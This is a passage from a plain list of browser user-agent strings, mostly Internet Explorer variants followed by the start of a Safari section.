6.0b; Windows NT 4.0) -Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 4.0; .NET CLR 1.0.2914) -Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.0) -Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.0; .NET CLR 1.0.3705) -Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.0; .NET CLR 1.1.4322) -Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.0; YComp 5.0.0.0) -Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.0; YComp 5.0.2.6) -Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1) -Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1; DigExt) -Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.1) -Mozilla/4.0 (compatible;MSIE 6.0;Windows 98;Q312461) -Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) -Mozilla/4.0 (compatible; MSIE 6.1; Windows XP; .NET CLR 1.1.4322; .NET CLR 2.0.50727) -Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; FDM; .NET CLR 1.1.4322) -Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; Media Center PC 3.0; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1) -Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; .NET CLR 1.0.3705; Media Center PC 3.1; Alexa Toolbar; .NET CLR 1.1.4322; .NET CLR 2.0.50727) -Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; .NET CLR 1.1.4322) -Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; .NET CLR 1.1.4322; Alexa Toolbar) -Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; .NET CLR 1.1.4322; Alexa Toolbar; .NET CLR 2.0.50727) -Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; .NET CLR 1.1.4322; InfoPath.1) -Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727) -Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.40607) -Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727) -Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.04506.30) -Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0) -Mozilla/4.0(compatible; MSIE 7.0b; Windows NT 6.0) -Mozilla/4.0 (compatible;MSIE 7.0;Windows NT 6.0) -Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; chromeframe/12.0.742.100) -Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E) -Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; SLCC2; .NET CLR 2.0.50727; InfoPath.3; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729; MS-RTC LM 8) -Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; MS-RTC LM 8; .NET4.0C; .NET4.0E; InfoPath.3) -Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Win64; x64; Trident/6.0; .NET4.0E; .NET4.0C) -Mozilla/4.0 (Compatible; MSIE 8.0; Windows NT 5.2; Trident/6.0) -Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; Media Center PC 6.0; InfoPath.2; MS-RTC LM 8 -Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; Media Center PC 6.0; InfoPath.2; MS-RTC LM 8) -Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2) -Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.3; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729; MS-RTC LM 8) -Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; Media Center PC 6.0; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C) -Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; msn OptimizedIE8;ZHCN) -Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; MS-RTC LM 8; InfoPath.3; .NET4.0C; .NET4.0E) chromeframe/8.0.552.224 -Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; Zune 3.0) -Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.2; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) -Mozilla/4.0 (compatible; U; MSIE 6.0; Windows NT 5.1) -Mozilla/4.0 (Compatible; Windows NT 5.1; MSIE 6.0) (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727) -Mozilla/4.0 (Mozilla/4.0; MSIE 7.0; Windows NT 5.1; FDM; SV1) -Mozilla/4.0 (Mozilla/4.0; MSIE 7.0; Windows NT 5.1; FDM; SV1; .NET CLR 3.0.04506.30) -Mozilla/4.0 (MSIE 6.0; Windows NT 5.0) -Mozilla/4.0 (MSIE 6.0; Windows NT 5.1) -Mozilla/4.0 PPC (compatible; MSIE 4.01; Windows CE; PPC; 240x320; Sprint:PPC-6700; PPC; 240x320) -Mozilla/4.0 WebTV/2.6 (compatible; MSIE 4.0) -Mozilla/4.0 (Windows; MSIE 6.0; Windows NT 5.0) -Mozilla/4.0 (Windows; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727) -Mozilla/4.0 (Windows; MSIE 6.0; Windows NT 5.2) -Mozilla/4.0 (Windows; MSIE 6.0; Windows NT 6.0) -Mozilla/4.0 (Windows; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727) -Mozilla/4.0 (X11; MSIE 6.0; i686; .NET CLR 1.1.4322; .NET CLR 2.0.50727; FDM) -Mozilla/45.0 (compatible; MSIE 6.0; Windows NT 5.1) -Mozilla/4.79 [en] (compatible; MSIE 7.0; Windows NT 5.0; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648) -Mozilla/5.0 (compatible; MSIE 10.0; Macintosh; Intel Mac OS X 10_7_3; Trident/6.0) -Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/4.0; InfoPath.2; SV1; .NET CLR 2.0.50727; WOW64) -Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/5.0) -Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0) -Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0) -Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 7.0; InfoPath.3; .NET CLR 3.1.40767; Trident/6.0; en-IN) -Mozilla/5.0 (compatible, MSIE 11, Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko -Mozilla/5.0 (compatible; MSIE 6.0; Windows NT 5.1) -Mozilla/5.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4325) -Mozilla/5.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727) -Mozilla/5.0 (compatible; MSIE 7.0; Windows 98; SpamBlockerUtility 6.3.91; SpamBlockerUtility 6.2.91; .NET CLR 4.1.89;GB) -Mozilla/5.0 (compatible; MSIE 7.0; Windows NT 5.0; Trident/4.0; FBSMTWB; .NET CLR 2.0.34861; .NET CLR 3.0.3746.3218; .NET CLR 3.5.33652; msn OptimizedIE8;ENUS) -Mozilla/5.0 (compatible; MSIE 7.0; Windows NT 5.2; WOW64; .NET CLR 2.0.50727) -Mozilla/5.0 (compatible; MSIE 7.0; Windows NT 6.0; en-US) -Mozilla/5.0 (compatible; MSIE 7.0; Windows NT 6.0; fr-FR) -Mozilla/5.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; c .NET CLR 3.0.04506; .NET CLR 3.5.30707; InfoPath.1; el-GR) -Mozilla/5.0 (compatible; MSIE 7.0; Windows NT 6.0; WOW64; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; c .NET CLR 3.0.04506; .NET CLR 3.5.30707; InfoPath.1; el-GR) -Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.0; Trident/4.0; InfoPath.1; SV1; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 3.0.04506.30) -Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; SLCC1; .NET CLR 1.1.4322) -Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; InfoPath.2; SLCC1; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 2.0.50727) -Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727) -Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SLCC1; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 1.1.4322) -Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0; Media Center PC 4.0; SLCC1; .NET CLR 3.0.04320) -Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; InfoPath.1; SV1; .NET CLR 3.8.36217; WOW64; en-US) -Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; .NET CLR 2.7.58687; SLCC2; Media Center PC 5.0; Zune 3.4; Tablet PC 3.6; InfoPath.3) -Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET CLR 1.0.3705; .NET CLR 1.1.4322) -Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; GTB7.4; InfoPath.2; SV1; .NET CLR 3.3.69573; WOW64; en-US) -Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/4.0; GTB7.4; InfoPath.3; SV1; .NET CLR 3.1.76908; WOW64; en-US) -Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/5.0; chromeframe/11.0.696.57) -Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/4.0; GTB7.4; InfoPath.1; SV1; .NET CLR 2.8.52393; WOW64; en-US) -Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) chromeframe/10.0.648.205 -Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; chromeframe/11.0.696.57) -Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; chromeframe/13.0.782.215) -Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; FunWebProducts) -Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2; .NET CLR 1.1.4322; .NET4.0C; Tablet PC 2.0) -Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; yie8) -Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0 -Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; Zune 4.0; Tablet PC 2.0; InfoPath.3; .NET4.0C; .NET4.0E) -Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET CLR 2.0.50727; Media Center PC 6.0) -Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; chromeframe/12.0.742.112) -Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET CLR 2.0.50727; Media Center PC 6.0) -Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; Media Center PC 6.0; InfoPath.3; MS-RTC LM 8; Zune 4.7 -Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; Media Center PC 6.0; InfoPath.3; MS-RTC LM 8; Zune 4.7) -Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; Zune 4.0; InfoPath.3; MS-RTC LM 8; .NET4.0C; .NET4.0E) -Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 7.1; Trident/5.0) -Mozilla/5.0 (MSIE 7.0; Macintosh; U; SunOS; X11; gu; SV1; InfoPath.2; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648) -Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; AS; rv:11.0) like Gecko -Mozilla/5.0 (Windows; U; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727) -Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 5.2) -Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; el-GR) -Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US) -Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US) - -# Safari - -Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/4.0.5 Safari/531.22.7 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/537.13+ (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6) AppleWebKit/531.4 (KHTML, like Gecko) Version/4.0.3 Safari/531.4 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/534.55.3 (KHTML, like Gecko) Version/5.1.3 Safari/534.53.10 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_2; en-au) AppleWebKit/525.8+ (KHTML, like Gecko) Version/3.1 Safari/525.6 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_2; en-gb) AppleWebKit/525.13 (KHTML, like Gecko) Version/3.1 Safari/525.13 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_2; en-us) AppleWebKit/525.7 (KHTML, like Gecko) Version/3.1 Safari/525.7 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_2; en-us) AppleWebKit/525.9 (KHTML, like Gecko) Version/3.1 Safari/525.9 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_2; en-us) AppleWebKit/526.1+ (KHTML, like Gecko) Version/3.1 Safari/525.13 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_2; es-es) AppleWebKit/525.13 (KHTML, like Gecko) Version/3.1 Safari/525.13 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_2; fr-fr) AppleWebKit/525.9 (KHTML, like Gecko) Version/3.1 Safari/525.9 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_2; it-it) AppleWebKit/525.13 (KHTML, like Gecko) Version/3.1 Safari/525.13 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_2; ja-jp) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.1 Safari/525.18 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_2; pt-br) AppleWebKit/525.13 (KHTML, like Gecko) Version/3.1 Safari/525.13 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_3; en-ca) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.1 Safari/525.20 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_3; es-es) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.1 Safari/525.20 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_3; hu-hu) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.1 Safari/525.20 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_3; nb-no) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.1 Safari/525.20 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_3; nl-nl) AppleWebKit/527+ (KHTML, like Gecko) Version/3.1.1 Safari/525.20 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_4; en-gb) AppleWebKit/528.4+ (KHTML, like Gecko) Version/4.0dp1 Safari/526.11.2 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_4; en-us) AppleWebKit/528.4+ (KHTML, like Gecko) Version/4.0dp1 Safari/526.11.2 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_5; en-us) AppleWebKit/525.25 (KHTML, like Gecko) Version/3.2 Safari/525.25 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_5; it-it) AppleWebKit/525.18 (KHTML, like Gecko) -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_5; ja-jp) AppleWebKit/525.26.2 (KHTML, like Gecko) Version/3.2 Safari/525.26.12 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_5; sv-se) AppleWebKit/525.26.2 (KHTML, like Gecko) Version/3.2 Safari/525.26.12 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; en-gb) AppleWebKit/525.18.1 (KHTML, like Gecko) Version/3.1.2 Safari/525.20.1 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; en-gb) AppleWebKit/528.10+ (KHTML, like Gecko) Version/4.0dp1 Safari/526.11.2 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; en-us) AppleWebKit/525.13 (KHTML, like Gecko) Version/3.1 Safari/525.13 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; en-us) AppleWebKit/525.18.1 (KHTML, like Gecko) Version/3.1.1 Safari/525.20 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; en-us) AppleWebKit/525.27.1 (KHTML, like Gecko) Version/3.1.2 Safari/525.20.1 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; en-us) AppleWebKit/525.27.1 (KHTML, like Gecko) Version/3.1 Safari/525.13 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; en-us) AppleWebKit/528.16 (KHTML, like Gecko) -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; en-us) AppleWebKit/528.4+ (KHTML, like Gecko) Version/3.1.2 Safari/525.20.1 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; en-us) AppleWebKit/528.7+ (KHTML, like Gecko) Version/3.1.2 Safari/525.20.1 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; en-us) AppleWebKit/530.6+ (KHTML, like Gecko) Version/3.1.2 Safari/525.20.1 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; fr-fr) AppleWebKit/525.27.1 (KHTML, like Gecko) Version/3.2.1 Safari/525.27.1 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; hr-hr) AppleWebKit/530.1+ (KHTML, like Gecko) Version/3.2.1 Safari/525.27.1 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; it-it) AppleWebKit/525.27.1 (KHTML, like Gecko) Version/3.2.1 Safari/525.27.1 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; it-it) AppleWebKit/528.8+ (KHTML, like Gecko) Version/3.2.1 Safari/525.27.1 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; ko-kr) AppleWebKit/525.27.1 (KHTML, like Gecko) Version/3.2.1 Safari/525.27.1 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; nb-no) AppleWebKit/525.27.1 (KHTML, like Gecko) Version/3.2.1 Safari/525.27.1 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; ru-ru) AppleWebKit/525.27.1 (KHTML, like Gecko) Version/3.2.1 Safari/525.27.1 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; zh-tw) AppleWebKit/525.27.1 (KHTML, like Gecko) Version/3.2.1 Safari/525.27.1 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_7; de-de) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.1 Safari/525.20 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_7; de-de) AppleWebKit/525.28.3 (KHTML, like Gecko) Version/3.2.3 Safari/525.28.3 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_7; en-us) AppleWebKit/530.19.2 (KHTML, like Gecko) Version/4.0.1 Safari/530.18 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_7; en-us) AppleWebKit/530.19.2 (KHTML, like Gecko) Version/4.0.2 Safari/530.19 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_7; en-us) AppleWebKit/531.2+ (KHTML, like Gecko) Version/4.0.1 Safari/530.18 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-us) AppleWebKit/531.21.8 (KHTML, like Gecko) Version/4.0.3 Safari/531.21.10 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; fi-fi) AppleWebKit/531.9 (KHTML, like Gecko) Version/4.0.3 Safari/531.9 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; it-it) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0 Safari/533.16 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; ja-jp) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0 Safari/533.16 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; nl-nl) AppleWebKit/531.22.7 (KHTML, like Gecko) Version/4.0.5 Safari/531.22.7 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; zh-cn) AppleWebKit/533.18.1 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; zh-tw) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0 Safari/533.16 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_1; nl-nl) AppleWebKit/532.3+ (KHTML, like Gecko) Version/4.0.3 Safari/531.9 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_2; de-at) AppleWebKit/531.21.8 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_2; en-us) AppleWebKit/531.21.8 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_2; ja-jp) AppleWebKit/531.22.7 (KHTML, like Gecko) Version/4.0.5 Safari/531.22.7 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_2; nb-no) AppleWebKit/533.16 (KHTML, like Gecko) Version/4.1 Safari/533.16 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_2; ru-ru) AppleWebKit/533.2+ (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; ca-es) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0 Safari/533.16 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; de-de) AppleWebKit/531.22.7 (KHTML, like Gecko) Version/4.0.5 Safari/531.22.7 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; el-gr) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0 Safari/533.16 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; en-au) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0 Safari/533.16 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; en-us) AppleWebKit/531.21.11 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; en-us) AppleWebKit/531.22.7 (KHTML, like Gecko) Version/4.0.5 Safari/531.22.7 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; en-us) AppleWebKit/533.4+ (KHTML, like Gecko) Version/4.0.5 Safari/531.22.7 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; en-us) AppleWebKit/534.1+ (KHTML, like Gecko) Version/5.0 Safari/533.16 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; es-es) AppleWebKit/531.22.7 (KHTML, like Gecko) -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; HTC-P715a; en-ca) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0 Safari/533.16 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; it-it) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0 Safari/533.16 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; ja-jp) AppleWebKit/531.22.7 (KHTML, like Gecko) Version/4.0.5 Safari/531.22.7 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; ko-kr) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0 Safari/533.16 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; ru-ru) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0 Safari/533.16 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; zh-cn) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0 Safari/533.16 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_4; th-th) AppleWebKit/533.17.8 (KHTML, like Gecko) Version/5.0.1 Safari/533.17.8 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_5; ar) AppleWebKit/533.19.4 (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_5; de-de) AppleWebKit/534.15+ (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; de-de) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; en-gb) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; en-us) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; es-es) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; fr-ch) AppleWebKit/533.19.4 (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; fr-fr) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; it-it) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; ja-jp) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; ko-kr) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 